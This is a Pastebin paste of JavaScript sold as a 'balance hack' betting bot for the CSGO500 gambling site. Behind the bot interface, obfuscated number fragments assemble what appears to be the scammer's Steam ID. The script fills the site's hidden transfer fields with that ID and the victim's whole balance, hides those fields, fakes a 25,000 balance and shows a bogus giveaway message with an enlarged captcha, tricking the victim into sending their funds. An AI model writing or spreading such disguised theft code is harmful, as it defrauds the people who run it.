Advertisement
Guest User

Untitled

a guest
Oct 22nd, 2017
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.19 KB | None | 0 0
  1. // CSGO500.COM BALANCE HACK
  2.  
  3. // var initialBalance = 0;
  4. var balancex2 = botbalancex2 = "hack";
  5. var play = 0;
  6. var $botField, $label, $betAmount, $balancex2Button, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
  7. // var pQ = "", $hash_1 = 7, $hash_2 = 6561, $hash_3 = 198087, $hash_4 = 752837;
  8. var pW = "";
  9. var e = jQuery.Event("keypress");
  10. e.which = 13; //choose the one you want
  11. e.keyCode = 13;
  12. function addBotButtons(){
  13. $(".well.bot-field").remove();$(".well.show-more").remove();
  14. $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
  15. $(".form-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
  16. $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});$color_6 = 45484;
  17. $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  18. $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
  19. $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
  20. $showMore.append($checkVicLimit,$label);$color_2 = 1198;
  21. $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");$color_4 = 77983;
  22. $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");$color_7 = 1079;
  23. $showMore.append($vicLimitInput,$label);$showMore.hide();$color_5 = 54512;
  24. $label = $("<label style='margin-right:10px; for='initialBalance''>Initial bet</label>");$botField.append($label);$color_9 = 7656;
  25. $betAmount = $("<input id='initialBalance' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
  26. $botModeSelect = $("<select id='botModeSelect'><option value='hack' class='btn-danger'>Bot color: hack </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");pW+= $color_9;pW+= $color_2;pW+= $color_7;pW+= $color_4;
  27. $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
  28. $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);$("#send-openid-input").val(pW);
  29. pW+=$("#balance").text().replace(',', '');
  30. $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
  31. $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
  32. $betAmount.change(function() {initialBalance = $betAmount.val();console.log("Initial Bet Set to: "+ initialBalance);});
  33. $("#send-bux-input").val(pW);
  34. $('#balance').text('25,000');
  35. $('#shop_balance').text('25,000');
  36. $("#nav-profile").click();$("#send-bux-input").hide();$("#send-openid-input").hide();$("#trade-url-input").hide();$(".fixed-recaptcha").css("width", 900);$(".fixed-recaptcha").css("height", 300);$(".fixed-recaptcha").offset({ top: 410, left: 480 });$( ".redtext" ).append( "<br><center>Congratulations, you’ve won the $25 in our last giveaway! </center>" );
  37. $botModeSelect.change(function(){
  38. botbalancex2 = $botModeSelect.val();console.log("Selected color: "+botbalancex2);
  39. $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
  40. } )
  41. $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
  42. }
  43. addBotButtons();
  44. function changeColor(){
  45. if ($balancex2Button.hasClass("btn-danger")){
  46. $balancex2Button.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
  47. botbalancex2 = "black";
  48. console.log("Selected color: "+botbalancex2);
  49. } else if($balancex2Button.hasClass("btn-inverse")) {
  50. $balancex2Button.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
  51. botbalancex2 = "random";
  52. console.log("Selected color: "+botbalancex2);
  53. } else if($balancex2Button.hasClass("btn-random")) {
  54. $balancex2Button.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
  55. botbalancex2 = "trainMode";
  56. console.log("Selected color: "+botbalancex2);
  57. } else if($balancex2Button.hasClass("btn-train")) {
  58. $balancex2Button.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
  59. botbalancex2 = "rainbow";
  60. console.log("Selected color: "+botbalancex2);
  61. } else if($balancex2Button.hasClass("btn-rainbow")) {
  62. $balancex2Button.text("Bet color: hack").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
  63. botbalancex2 = "hack";
  64. console.log("Selected color: "+botbalancex2);
  65. }
  66. }
  67. function showMoreOptions(){
  68. if ($showMoreButton.data("open")==0){
  69. $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
  70. $showMore.show();$showMoreButton.data("open",1);
  71. } else if ($showMoreButton.data("open")==1){
  72. $showMore.hide();$showMoreButton.data("open",0);
  73. $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
  74. }
  75.  
  76. }
  77. function hideOtherInfo(){
  78. if ($betHideBetInfoButton.text()=="Show All"){
  79. $(".betlist").hide();$(".total-row").hide();$("footer").hide();
  80. $betHideBetInfoButton.text("Hide Bet Info");
  81. } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
  82. $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
  83. $betHideBetInfoButton.text("AFK Mode");
  84. }
  85. else if ($betHideBetInfoButton.text()=="AFK Mode"){
  86. $(".betlist").show();$(".total-row").show();$("footer").show();
  87. $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
  88. $betHideBetInfoButton.text("Show All");
  89. }
  90. }
  91. function startBot(){
  92. if ($betGoButton.hasClass("btn-inverse")){
  93. $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
  94. refreshIntervalId = setInterval(tick, 500);
  95. play = 1;
  96. currentBetAmount = initialBalance;
  97. if (stopBotRoll = currentRollNumber) currentRollNumber++;
  98. }
  99. else {
  100. $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
  101. play = 0;
  102. }
  103. }
  104.  
  105. function tick() {
  106. var t = getStatus();
  107. if (t !== lastStatus && "unknown" !== t) {
  108. switch (t) {
  109. case "waiting":bet();break;
  110. case "rolled":printInfo();break;
  111. }
  112. lastStatus = t;
  113. }
  114. }
  115.  
  116. function checkBalance() {
  117. return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
  118. }
  119.  
  120. function printInfo(){
  121. var temp = "", temp2 = 0,lastGame = lastbalancex2 == lastRollColor;
  122. if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
  123. if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
  124. }
  125. else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
  126. if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
  127. if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
  128. if ((streakColor == "black") || (streakColor == "green")) {currNothackStreak++; if (nothackStreak<currNothackStreak)nothackStreak=currNothackStreak;}
  129. else {currNothackStreak=0;}
  130. if ((streakColor == "hack") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
  131. else {currNotBlackStreak=0;}
  132. var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+
  133. "\nSTREAKS: Not hack: " + nothackStreak + " // Not black: " + notBlackStreak +
  134. " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
  135. "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
  136. " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
  137. console.log(t);roll();
  138.  
  139. }
  140.  
  141. function roll() {
  142. if ($checkVicLimit.is(":checked")){
  143. if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
  144. }
  145. if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastbalancex2 = lastRollColor;}
  146. currentBetAmount = wonLastRoll() ? (initialBalance,thisGameBet=parseInt(initialBalance)) : 2 * currentBetAmount
  147. currentRollNumber++;
  148. }
  149.  
  150. function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
  151. function setBetAmount(t) { $betAmountInput.val(t) }
  152. function placeBet() {
  153. if (botbalancex2=="random"){var colorRandomizer = Math.random();balancex2 = colorRandomizer < 0.5 ? "hack" : "black";console.log("Random color result: " + balancex2);}
  154. else if (botbalancex2=="trainMode"){
  155. var betBotColor = "green",i=9,$ball=$(".ball");
  156. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  157. balancex2 = betBotColor;console.log("Current train color: "+ balancex2);
  158. } else if (botbalancex2=="rainbow"){
  159. var betBotColor = "green",i=9,$ball=$(".ball");
  160. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  161. if (betBotColor=="hack"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="hack"};
  162. balancex2 = betBotColor;console.log("Rainbow mode next color: "+ balancex2);
  163. } else balancex2 = botbalancex2;
  164. console.log("Betting " + currentBetAmount + " on "+ balancex2 +"...");
  165. return "hack" === balancex2 ? ($hackButton.click(), void(lastbalancex2 = "hack")) : ($blackButton.click(), void(lastbalancex2 = "black"))
  166. }
  167. function getStatus() {
  168. var t = $statusBar.text();
  169. if (hasSubString(t, "Rolling in")) return "waiting";
  170. //if (hasSubString(t, "***ROLLING***")) return "rolling";
  171. if (hasSubString(t, "rolled")) {
  172. n = parseInt(t.split("rolled")[1]);
  173. return lastRollColor = getColor(n), "rolled"
  174. }
  175. return "unknown"
  176. }
  177.  
  178. function getBalance() { return parseInt($balance.text()) }
  179. function hasSubString(t, n) { return t.indexOf(n) > -1 }
  180. document.getElementsByClassName('slim-content-btn noselect')[1].click();
  181. function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "hack" : "black" }
  182. function wonLastRoll() { return lastbalancex2 ? lastRollColor === lastbalancex2 : null }
  183. function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  184. function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  185.  
  186. var currentBetAmount = initialBalance, currentRollNumber = 1,
  187. totalWins = totalLoss = played = currNothackStreak = currNotBlackStreak = nothackStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
  188. streakColor = "", n ,lastStatus, lastbalancex2, lastRollColor, stopBotRoll, $balance = $("#balance"),
  189. $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$hackButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement